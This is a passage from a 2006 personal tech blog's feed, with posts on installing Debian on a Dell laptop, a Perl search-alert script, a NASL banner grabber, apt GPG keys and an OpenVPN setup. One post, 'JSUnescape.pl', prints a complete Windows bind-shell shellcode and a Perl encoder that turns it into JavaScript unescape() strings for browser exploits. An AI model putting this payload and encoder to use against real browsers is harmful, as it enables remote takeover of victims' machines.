/&gt;* set your /etc/defaults/915resolution - set how you like(below is how I did it)&lt;br /&gt;&lt;br /&gt;MODE=3c&lt;br /&gt;XRESO=1400&lt;br /&gt;YRESO=1050&lt;br /&gt;BIT=32&lt;br /&gt;&lt;br /&gt;* /etc/init.d/915resolution start&lt;br /&gt;* edit /etc/X11/xorg.conf &lt;br /&gt;* change your driver to i810 if you haven’t already&lt;br /&gt;* change your screen to 1400x1050&lt;br /&gt;* restart X&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step 6 (Touchpad Driver/Synapatics):&lt;/b&gt;&lt;br /&gt;Well I never really liked touchpads, and with the default pointer driver it was terrible in enlightenment(not as bad in gnome).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;* Install x-dev, libx11-dev and libxext-dev&lt;br /&gt;* Download The Synapatics driver.&lt;br /&gt;  &lt;a href="http://freshmeat.net/projects/synaptics/"&gt;http://freshmeat.net/projects/synaptics/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;* extract and make install&lt;br /&gt;* then just follow the instructions in the INSTALL file.&lt;br /&gt;&lt;br /&gt;Note:&lt;br /&gt;I changed the speed, it was way to slow at first.&lt;br /&gt;Also, for some reason I would loose the mouse after undocking. To fix this I changed the "ServerLayout" like so:&lt;br /&gt;&lt;br /&gt;Section "ServerLayout"&lt;br /&gt;InputDevice    "Synaptics Mouse" "AlwaysCore"&lt;br /&gt;&lt;br /&gt;* also make the change in the device section&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step 7 (ACPID/lidbtn):&lt;/b&gt;&lt;br /&gt;Everytime I would close the lid, it would go either to sleep or standby and it would not recover. So to fix this I configured acpid to just blank the screen. &lt;br /&gt;So add the files below to /etc/acpi. You will need vbetool, this is how I blank the screen.&lt;br /&gt;There is a lot more you can do with acpid but this was the big one for me.&lt;br /&gt;&lt;br /&gt;/etc/acpi/lidbtn.sh &lt;--make this +x&lt;br /&gt;&lt;br /&gt;-------------------------------------------------------&lt;br /&gt;#!/bin/sh&lt;br /&gt;# /etc/acpi/lidbtn.sh&lt;br /&gt;grep 'open' /proc/acpi/button/lid/LID/state &gt;/dev/null&lt;br /&gt;&lt;br /&gt;if [ "x$?" == "x0" ]; then&lt;br /&gt;   /usr/sbin/vbetool dpms on&lt;br /&gt;else&lt;br /&gt;   /usr/sbin/vbetool dpms off&lt;br /&gt;fi&lt;br /&gt;--------------------------------------------------------&lt;br /&gt;&lt;br /&gt;and&lt;br /&gt;&lt;br /&gt;/etc/acpi/events/lidbtn&lt;br /&gt;&lt;br /&gt;----------------------------&lt;br /&gt;#/etc/acpi/events/lidbtn&lt;br /&gt;&lt;br /&gt;event=button[ /]lid&lt;br /&gt;action=/etc/acpi/lidbtn.sh&lt;br /&gt;&lt;br /&gt;----------------------------&lt;br /&gt;&lt;br /&gt;* Now restart acpid /etc/init.d/acpid restart&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Other Things To Do:&lt;br /&gt;* Still would like to get the LED for the wireless to work. I found when compiled into the kernel it was a little to buggy.&lt;br /&gt;&lt;br /&gt;* Would like to get ipw2200 in monitor mode. I tried to compile this in,&lt;br /&gt;CONFIG_IPW2200_MONITOR=y but it kept removing it. It seems like newer kernel versions in debian will be enabled. Just like the IPW2100. Any ideas , again would love to hear.&lt;br /&gt;&lt;br /&gt;* Get the function keys working good. There is a package called i8kutils , but I have not had much luck with that. I may look into acpi to handle this. &lt;br /&gt;&lt;br /&gt;References:&lt;br /&gt;&lt;a href="http://ipw2200.sourceforge.net/"&gt;http://ipw2200.sourceforge.net/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://asl.epfl.ch/~kolski/d505.html"&gt;http://asl.epfl.ch/~kolski/d505.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www-inf.int-evry.fr/~olberger/weblog/2005/08/24/debian-gnulinux-on-a-dell-latitude-d510-laptop/"&gt;http://www-inf.int-evry.fr/~olberger/weblog/2005/08/24/debian-gnulinux-on-a-dell-latitude-d510-laptop/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://alpha.uhasselt.be/Research/Algebra/Members/D505.html"&gt;http://alpha.uhasselt.be/Research/Algebra/Members/D505.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://perso.wanadoo.fr/apoirier/"&gt;http://perso.wanadoo.fr/apoirier/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://lists.debian.org/debian-kernel/2006/03/msg00614.html"&gt;http://lists.debian.org/debian-kernel/2006/03/msg00614.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://clx.digi.com.br/wiki/bin/view/Personal/DellLatitude110L"&gt;http://clx.digi.com.br/wiki/bin/view/Personal/DellLatitude110L&lt;/a&gt;&lt;br /&gt;&lt;a href="http://csd.informatik.uni-oldenburg.de/~eagle/acpid.html#sec-4"&gt;http://csd.informatik.uni-oldenburg.de/~eagle/acpid.html#sec-4&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3993366355898720712-6258073248444916758?l=informationintoxication.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://informationintoxication.blogspot.com/feeds/6258073248444916758/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3993366355898720712&amp;postID=6258073248444916758' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/6258073248444916758'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/6258073248444916758'/><link rel='alternate' type='text/html' href='http://informationintoxication.blogspot.com/2006/05/installing-debian-on-dell-latitude-d510_16.html' title='Installing Debian on Dell Latitude D510'/><author><name>Devin</name><uri>http://www.blogger.com/profile/15793900111446118223</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_CSYBzy3J1s8/TEmeU7vYlBI/AAAAAAAAA5Y/DaKczXhbXlU/S220/einstein.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3993366355898720712.post-6940384422095818865</id><published>2006-05-11T14:01:00.001-05:00</published><updated>2007-07-11T09:55:23.072-05:00</updated><title type='text'>Monitor Web w/ googs.pl</title><content type='html'>I wanted a way to monitor the web for certain terms(i.e. leaked info on a company). For example, being able to have an arrary of search terms and operators to query aganist, and then email me a nice little html report. This is the reason for googs.pl. &lt;br /&gt;&lt;br /&gt;I used google API to do the querys. I also (although not sure how well it works) append the google operator &lt;b&gt;daterange:&lt;/b&gt; which needs the julian date, thus hoping to only return new results that day and only email me if it does find new ones. This way I don't have to look at old stuff all the time or get tons of email. You can comment that feature out if you dont want it. To figure the date I used the perl module Cal::Date which I posted a link below. Then I just set it up in a cronjob to run everyday.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;# Devin Ertel&lt;br /&gt;# googs.pl&lt;br /&gt;# &lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;use strict;     &lt;br /&gt;use SOAP::Lite;&lt;br /&gt;use MIME::Lite;&lt;br /&gt;use Net::SMTP;&lt;br /&gt;use Cal::Date qw(DJM MJD today);&lt;br /&gt;&lt;br /&gt;#Get Todays Date&lt;br /&gt;my $date = today();&lt;br /&gt;&lt;br /&gt;#convert to julian&lt;br /&gt;my $jul_today= DJM($date);&lt;br /&gt;&lt;br /&gt;#Put Your Google API Key Here&lt;br /&gt;my $google_key='your_google_key_here';&lt;br /&gt;     &lt;br /&gt;#Google WSDL File Location&lt;br /&gt;my $google_wsdl = "./GoogleSearch.wsdl";&lt;br /&gt; &lt;br /&gt;#Put querys here, escape any "'s with \" &lt;br /&gt;my $query;&lt;br /&gt;my @query = ("company + hacking",&lt;br /&gt;	     "allintext:company + hacking",&lt;br /&gt;             "your querys"&lt;br /&gt;	     );&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;#assign current julian date to query&lt;br /&gt;my $goog_daterange = " + daterange:".$jul_today."-".$jul_today;&lt;br /&gt;&lt;br /&gt;#SOAP::Lite instance with GoogleSearch.wsdl.&lt;br /&gt;my $google_soap = SOAP::Lite-&gt;service("file:$google_wsdl");&lt;br /&gt;     &lt;br /&gt;&lt;br /&gt;#Set Up Mail Vars&lt;br /&gt;my $faddy = 'from_address@blah.com';&lt;br /&gt;my $taddy = 'to_address@blah.com';&lt;br /&gt;my $mail_host = 'your_mail_host';&lt;br /&gt;&lt;br /&gt;my $subject = "New Information Posted!";&lt;br /&gt;my $msg_body ="";&lt;br /&gt;&lt;br /&gt;#Its Google Time&lt;br /&gt;&lt;br /&gt;#Loop Through Array of Querys&lt;br /&gt;foreach $query (@query){&lt;br /&gt;	&lt;br /&gt;	#add daterange: operator to curren query&lt;br /&gt;	my $query_date=$query.$goog_daterange;&lt;br /&gt;	&lt;br /&gt;	my $results = $google_soap -&gt; &lt;br /&gt;    		doGoogleSearch(&lt;br /&gt;      			$google_key, $query_date , 0, 10, "false", "",  "false",&lt;br /&gt;      			"", "latin1", "latin1"&lt;br /&gt;    		);&lt;br /&gt;	&lt;br /&gt;	# Exit On No Results&lt;br /&gt;	@{$results-&gt;{resultElements}} or exit;&lt;br /&gt;     &lt;br /&gt;	# Loop Results and Output to HTML&lt;br /&gt;	foreach my $result (@{$results-&gt;{resultElements}}) {&lt;br /&gt;        &lt;br /&gt;        #had to take brackets out for this post for the html breaks and lines&lt;br /&gt;	$msg_body .= "&lt;html&gt;br".&lt;br /&gt;  		      $result-&gt;{'title'}."br".&lt;br /&gt;  		      "a href=".$result-&gt;{URL}."&gt;".$result-&gt;{URL}."/a br".&lt;br /&gt;  		      $result-&gt;{snippet}.&lt;br /&gt;		      "&lt;br&gt;hr&lt;/html&gt;";&lt;br /&gt;  		     &lt;br /&gt;	}&lt;br /&gt;}&lt;br /&gt;#Setup Message&lt;br /&gt;&lt;br /&gt;my $msg=MIME::Lite-&gt;new (&lt;br /&gt;        From =&gt; $faddy,&lt;br /&gt;        To =&gt; $taddy,&lt;br /&gt;        Subject =&gt; $subject,&lt;br /&gt;	Type =&gt; 'TEXT/HTML',&lt;br /&gt;	Encoding =&gt; 'quoted-printable',&lt;br /&gt;	Data =&gt; $msg_body,&lt;br /&gt;)       or die "Could Not Create Msg: $!\n";&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#Send Message&lt;br /&gt;MIME::Lite-&gt;send('smtp', $mail_host, Timeout=&gt;60);&lt;br /&gt;$msg-&gt;send;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;References:&lt;br /&gt;&lt;a href="http://freshmeat.net/projects/caldate/"&gt;http://freshmeat.net/projects/caldate/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.google.com/apis/"&gt;http://www.google.com/apis/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://search.cpan.org/~yves/MIME-Lite-3.01/lib/MIME/Lite.pm"&gt;http://search.cpan.org/~yves/MIME-Lite-3.01/lib/MIME/Lite.pm&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3993366355898720712-6940384422095818865?l=informationintoxication.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://informationintoxication.blogspot.com/feeds/6940384422095818865/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3993366355898720712&amp;postID=6940384422095818865' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/6940384422095818865'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/6940384422095818865'/><link rel='alternate' type='text/html' href='http://informationintoxication.blogspot.com/2006/05/monitor-web-w-googspl_11.html' title='Monitor Web w/ googs.pl'/><author><name>Devin</name><uri>http://www.blogger.com/profile/15793900111446118223</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_CSYBzy3J1s8/TEmeU7vYlBI/AAAAAAAAA5Y/DaKczXhbXlU/S220/einstein.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3993366355898720712.post-6444755570675141184</id><published>2006-03-30T10:13:00.001-06:00</published><updated>2007-07-11T09:55:22.927-05:00</updated><title type='text'>JSUnescape.pl</title><content type='html'>With all of the recent browser exploits, I wanted an easy way to encode my shellcode. Now this is not polished by any means and I took the function that encodes it(so don't give me any credit). It was actually developed by Aviv Raff and H D Moore from the Mozilla_Compareto exploit.&lt;br /&gt;&lt;br /&gt;Some improvements I would like to do is make the encoded shellcode output a little cleaner and I would like to read the shellcode from a file. As it stands now you have to copy your shellcode into the perl script as a var.&lt;br /&gt;&lt;br /&gt;So to do this, write your shellcode or just go to &lt;br /&gt;&lt;a href="http://metasploit.com:55555/PAYLOADS"&gt;http://metasploit.com:55555/PAYLOADS&lt;/a&gt; &lt;br /&gt;and pick the payload you would want to use. paste into the perl script. (below example is a w32_Bind payload)&lt;br /&gt;&lt;br /&gt;#! /usr/local/bin/perl&lt;br /&gt;use strict;&lt;br /&gt;&lt;br /&gt;#paste your shellcode below&lt;br /&gt;my $shellcode=&lt;br /&gt;"\x2b\xc9\x83\xe9\xb8\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x7f".&lt;br /&gt;"\x3c\x79\x76\x83\xeb\xfc\xe2\xf4\x97\x6a\x79\x76\x7f\x6f\x2c\x20".&lt;br /&gt;"\x28\xb7\x15\x52\x67\xb7\x3c\x4a\xf4\x68\x7c\x0e\x7e\xd6\xf2\x3c".&lt;br /&gt;"\x67\xb7\x23\x56\x7e\xd7\x9a\x44\x36\xb7\x4d\xfd\x7e\xd2\x48\x89".&lt;br /&gt;"\x83\x0d\xb9\xda\x47\xdc\x0d\x71\xbe\xf3\x74\x77\xb8\xd7\x8b\x4d".&lt;br /&gt;"\x03\x18\x6d\x03\x9e\xb7\x23\x52\x7e\xd7\x1f\xfd\x73\x77\xf2\x2c".&lt;br /&gt;"\x63\x3d\x92\xfd\x7b\xb7\x78\x9e\x94\x3e\x48\xb6\x20\x62\x24\x2d".&lt;br /&gt;"\xbd\x34\x79\x28\x15\x0c\x20\x12\xf4\x25\xf2\x2d\x73\xb7\x22\x6a".&lt;br /&gt;"\xf4\x27\xf2\x2d\x77\x6f\x11\xf8\x31\x32\x95\x89\xa9\xb5\xbe\xf7".&lt;br /&gt;"\x93\x3c\x78\x76\x7f\x6b\x2f\x25\xf6\xd9\x91\x51\x7f\x3c\x79\xe6".&lt;br /&gt;"\x7e\x3c\x79\xc0\x66\x24\x9e\xd2\x66\x4c\x90\x93\x36\xba\x30\xd2".&lt;br /&gt;"\x65\x4c\xbe\xd2\xd2\x12\x90\xaf\x76\xc9\xd4\xbd\x92\xc0\x42\x21".&lt;br /&gt;"\x2c\x0e\x26\x45\x4d\x3c\x22\xfb\x34\x1c\x28\x89\xa8\xb5\xa6\xff".&lt;br /&gt;"\xbc\xb1\x0c\x62\x15\x3b\x20\x27\x2c\xc3\x4d\xf9\x80\x69\x7d\x2f".&lt;br /&gt;"\xf6\x38\xf7\x94\x8d\x17\x5e\x22\x80\x0b\x86\x23\x4f\x0d\xb9\x26".&lt;br /&gt;"\x2f\x6c\x29\x36\x2f\x7c\x29\x89\x2a\x10\xf0\xb1\x4e\xe7\x2a\x25".&lt;br /&gt;"\x17\x3e\x79\x67\x23\xb5\x99\x1c\x6f\x6c\x2e\x89\x2a\x18\x2a\x21".&lt;br /&gt;"\x80\x69\x51\x25\x2b\x6b\x86\x23\x5f\xb5\xbe\xf7\x93\x3c\x69\x76".&lt;br /&gt;"\x7f\xb5\x9a\x1c\x7f\x54\x79\x66\x7f\x3c\x2a\x21\x80\x69\x61\xf7".&lt;br /&gt;"\x93\x3c\x7d\x76\x7f\xc3\xaa\x76";&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;JSUnescape($shellcode);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;sub JSUnescape #Taken from Mozilla_Compareto by Aviv Raff and H D Moore&lt;br /&gt;{&lt;br /&gt;        my $data = shift;&lt;br /&gt;        my $code = '';&lt;br /&gt;&lt;br /&gt;        # Encode the shellcode via %u sequences for JS's unescape() function&lt;br /&gt;        my $idx = 0;&lt;br /&gt;        while ($idx &lt; length($data) - 1) {&lt;br /&gt;                my $c1 = ord(substr($data, $idx, 1));&lt;br /&gt;                my $c2 = ord(substr($data, $idx+1, 1));&lt;br /&gt;                $code .= sprintf('%%u%.2x%.2x', $c2, $c1);&lt;br /&gt;                $idx += 2;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;print "\n" . $code . "\n";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Output should look like the following. All ready for unescape()!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;uc92b%ue983%ud9b8%ud9ee%u2474%u5bf4%u7381%u7f13%u793c%u8376%ufceb%uf4e2%u6a97%u7679%u6f7f%u202c%ub728%u5215%ub767%u4a3c%u68f4%u0e7c%ud67e%u3cf2%ub767%u5623%ud77e%u449a%ub736%ufd4d%ud27e%u8948%u0d83%udab9%udc47%u710d%uf3be%u7774%ud7b8%u4d8b%u1803%u036d%ub79e%u5223%ud77e%ufd1f%u7773%u2cf2%u3d63%ufd92%ub77b%u9e78%u3e94%ub648%u6220%u2d24%u34bd%u2879%u0c15%u1220%u25f4%u2df2%ub773%u6a22%u27f4%u2df2%u6f77%uf811%u3231%u8995%ub5a9%uf7be%u3c93%u7678%u6b7f%u252f%ud9f6%u5191%u3c7f%ue679%u3c7e%uc079%u2466%ud29e%u4c66%u9390%uba36%ud230%u4c65%ud2be%u12d2%uaf90%uc976%ubdd4%uc092%u2142%u0e2c%u4526%u3c4d%ufb22%u1c34%u8928%ub5a8%uffa6%ub1bc%u620c%u3b15%u2720%uc32c%uf94d%u6980%u2f7d%u38f6%u94f7%u178d%u225e%u0b80%u2386%u0d4f%u26b9%u6c2f%u3629%u7c2f%u8929%u102a%ub1f0%ue74e%u252a%u3e17%u6779%ub523%u1c99%u6c6f%u892e%u182a%u212a%u6980%u2551%u6b2b%u2386%ub55f%uf7be%u3c93%u7669%ub57f%u1c9a%u547f%u6679%u3c7f%u212a%u6980%uf761%u3c93%u767d%uc37f%u76aa&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3993366355898720712-6444755570675141184?l=informationintoxication.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://informationintoxication.blogspot.com/feeds/6444755570675141184/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3993366355898720712&amp;postID=6444755570675141184' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/6444755570675141184'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/6444755570675141184'/><link rel='alternate' type='text/html' href='http://informationintoxication.blogspot.com/2006/03/jsunescapepl_30.html' title='JSUnescape.pl'/><author><name>Devin</name><uri>http://www.blogger.com/profile/15793900111446118223</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_CSYBzy3J1s8/TEmeU7vYlBI/AAAAAAAAA5Y/DaKczXhbXlU/S220/einstein.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3993366355898720712.post-5691633630167756081</id><published>2006-01-11T11:22:00.001-06:00</published><updated>2007-07-11T09:55:22.772-05:00</updated><title type='text'>webserv-naslgrab.nasl</title><content type='html'>Well I wanted to get a bit more familiar with NASL (Nessus Attack Scripting Language). I've modified nessus plugins in the past but never really did much with it. I have to say I do like it, pretty easy to do testing with. &lt;br /&gt;&lt;br /&gt;I needed a way to check a lot of webservers for their versions, and fast. So figured what the heck let me throw something together with NASL. Now this is just a stand-alone script, it will not work within the nessus framework.&lt;br /&gt;(More docs to work with nessus framework are below)&lt;br /&gt;&lt;br /&gt;This just sends a HEAD request to the webserver and greps for the server string.&lt;br /&gt;&lt;br /&gt;This also could be easly modified to read from the socket and grab other banners. I found this would work for telnet, ftp ,ssh, etc. but for some reason I could not grab the banner from the webservers I was testing. Hence sending &lt;br /&gt;"HEAD / HTTP/1.0\r\n\r\n"&lt;br /&gt;&lt;br /&gt;If you wanted to read right from the socket without sending the HEAD command you could just comment that out and replace name w/ server.&lt;br /&gt;&lt;br /&gt;I will be looking into this more, but this was just a quick script to get my feet wet.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#####################################################################&lt;br /&gt;# Name: webserv-naslgrab.nasl					    #	&lt;br /&gt;# Description: A non-intrusive way to grab the web server version   #&lt;br /&gt;#              by sending opening a socket to 80 and sending a      #&lt;br /&gt;#	       HEAD Request. This can be modified to use other      #&lt;br /&gt;#	       ports.                                               #&lt;br /&gt;# Version: .1                                                       #&lt;br /&gt;# Author : Devin Ertel                                              #&lt;br /&gt;# Usage	 : nasl -t 192.168.1-155 webserv-naslgrab.nasl              #&lt;br /&gt;#####################################################################&lt;br /&gt;&lt;br /&gt;#Create tcp socket to port 80&lt;br /&gt;soc = open_sock_tcp(80);&lt;br /&gt;&lt;br /&gt;#grab host ip of current box with socket open&lt;br /&gt;hostip=get_host_ip();&lt;br /&gt;&lt;br /&gt;#if socket was created&lt;br /&gt;if (soc) {&lt;br /&gt;&lt;br /&gt;        #create string and send	&lt;br /&gt;	str = string("HEAD / HTTP/1.0\r\n\r\n");&lt;br /&gt;	send(socket:soc, data:str);&lt;br /&gt;	&lt;br /&gt;	#grab data from the socket&lt;br /&gt;	name = recv(socket:soc, length:1024);&lt;br /&gt;	&lt;br /&gt;	#grep for the line with server in it&lt;br /&gt;	server = egrep(pattern:"Server.*", string : name);&lt;br /&gt;&lt;br /&gt;        #if grep returns value&lt;br /&gt;	if(server){&lt;br /&gt;		display(server," On IP ",hostip,"\n");&lt;br /&gt;	}&lt;br /&gt;	&lt;br /&gt;	#close socket&lt;br /&gt;	close(soc);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Links:&lt;br /&gt;&lt;a href="http://michel.arboi.free.fr/nasl2ref/"&gt;http://michel.arboi.free.fr/nasl2ref/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.oreillynet.com/pub/a/security/2004/06/03/nessus_plugins.html"&gt;http://www.oreillynet.com/pub/a/security/2004/06/03/nessus_plugins.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.virtualblueness.net/nasl.html"&gt;http://www.virtualblueness.net/nasl.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3993366355898720712-5691633630167756081?l=informationintoxication.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://informationintoxication.blogspot.com/feeds/5691633630167756081/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3993366355898720712&amp;postID=5691633630167756081' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/5691633630167756081'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/5691633630167756081'/><link rel='alternate' type='text/html' href='http://informationintoxication.blogspot.com/2006/01/webserv-naslgrabnasl_11.html' title='webserv-naslgrab.nasl'/><author><name>Devin</name><uri>http://www.blogger.com/profile/15793900111446118223</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_CSYBzy3J1s8/TEmeU7vYlBI/AAAAAAAAA5Y/DaKczXhbXlU/S220/einstein.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3993366355898720712.post-10793697450303528</id><published>2006-01-07T04:16:00.001-06:00</published><updated>2007-07-11T09:55:22.622-05:00</updated><title type='text'>GPG Signature Checking w/ Debian And Apt 0.6</title><content type='html'>In new versions of apt. GPG signature checking is enabled by default. This is a good thing, allowing us trust the packages we are installing on our system. But if you recently updgraded apt it will begin to complain about not being able to find the pubkey. It should look something like this.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;W: GPG error: http://mirrors.kernel.org testing Release: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 010908312D230C5F&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Now I just recently got sick of seeing this message and decided I should really get this working for security reasons. That being said I am a bit new to this. There are many documents out there on how to get this working, I am just documenting different things I did and found. Hopefully once I fully understand the process I will clean this up.&lt;br /&gt;&lt;br /&gt;First, you will need to have a 0.6 version of apt and gnupgp installed.&lt;br /&gt;&lt;br /&gt;Once you have that an easy way to try and fix this problem is install the debian-keyring.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;apt-get install debian-keyring&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Now we can import the key using apt-key.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;apt-key add /usr/share/keyrings/debian-keyring.gpg&lt;br /&gt;apt-key add /usr/share/keyrings/debian-role-keys.gpg&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Now I am really not sure what the difference is between them.&lt;br /&gt;This fixed my message of NO_PUBKEY for ftp.nerim.net&lt;br /&gt;If you don't have this in your sources.list and its a desktop. I really would add this, alot of video and media type debs that debian does not carry. Link below:&lt;br /&gt;&lt;b&gt;http://debian.video.free.fr&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Ok, back to buisness. apt is still complaining about my kernel.org mirror.&lt;br /&gt;I read somewhere that a new key will added every year on the year. Somehow I did not have that new key from the debian-keyring package. So lets go get it.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;wget http://ftp-master.debian.org/ziyi_key_&lt;i&gt;year&lt;/i&gt;.asc&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Now I just added it with apt-key but you could just do it with gpg.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;gpg --import ziyi_key_2006.asc&lt;br /&gt;&lt;br /&gt;or&lt;br /&gt;&lt;br /&gt;apt-key add ziyi_key_2006.asc&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now apt-get update and it should be fixed. Like I said earlier, I'm a little unclear about this whole process. I would have thought downloading the whole debian-keyring would have done it. It is even over kill becuase I really only needed a couple of keys.&lt;br /&gt;&lt;br /&gt;Links:&lt;br /&gt;&lt;a href="http://www.debian-administration.org/articles/174"&gt;http://www.debian-administration.org/articles/174&lt;/a&gt;&lt;br /&gt;&lt;a href="http://secure-testing-master.debian.net/"&gt;http://secure-testing-master.debian.net/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://lists.debian.org/debian-user/2005/11/msg00064.html"&gt;http://lists.debian.org/debian-user/2005/11/msg00064.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://moonbase.rydia.net/mental/blog/life/mixing-ubuntu-and-debian.html"&gt;http://moonbase.rydia.net/mental/blog/life/mixing-ubuntu-and-debian.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3993366355898720712-10793697450303528?l=informationintoxication.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://informationintoxication.blogspot.com/feeds/10793697450303528/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3993366355898720712&amp;postID=10793697450303528' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/10793697450303528'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/10793697450303528'/><link rel='alternate' type='text/html' href='http://informationintoxication.blogspot.com/2006/01/gpg-signature-checking-w-debian-and-apt_07.html' title='GPG Signature Checking w/ Debian And Apt 0.6'/><author><name>Devin</name><uri>http://www.blogger.com/profile/15793900111446118223</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_CSYBzy3J1s8/TEmeU7vYlBI/AAAAAAAAA5Y/DaKczXhbXlU/S220/einstein.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3993366355898720712.post-7478145847348136346</id><published>2005-12-18T10:57:00.001-06:00</published><updated>2007-07-11T09:55:22.428-05:00</updated><title type='text'>OpenVPN on NSLU2</title><content type='html'>Well I finally picked up a NSLU2 by Linksys. Have to say I am pretty impressed so far. A little device that fits in my hand just replaced 2 of my boxes at home. One for my fileserver and one for my openvpn server. Maybe at a later date I will go about how to flash it with unslung. But it is pretty easy so this doc is just for me to remember how I set up my openvpn.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So first thing is first go buy the NSLU2 and download unslung and flash it.&lt;br /&gt;&lt;a href="http://www.nslu2-linux.org/"&gt;http://www.nslu2-linux.org/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Now you have it flashed. I put on a few packages first to allow me to work with it a bit better.&lt;br /&gt;OpenSSH&lt;br /&gt;Vim&lt;br /&gt;Bash&lt;br /&gt;Grep&lt;br /&gt;&lt;br /&gt;Ok Now we are 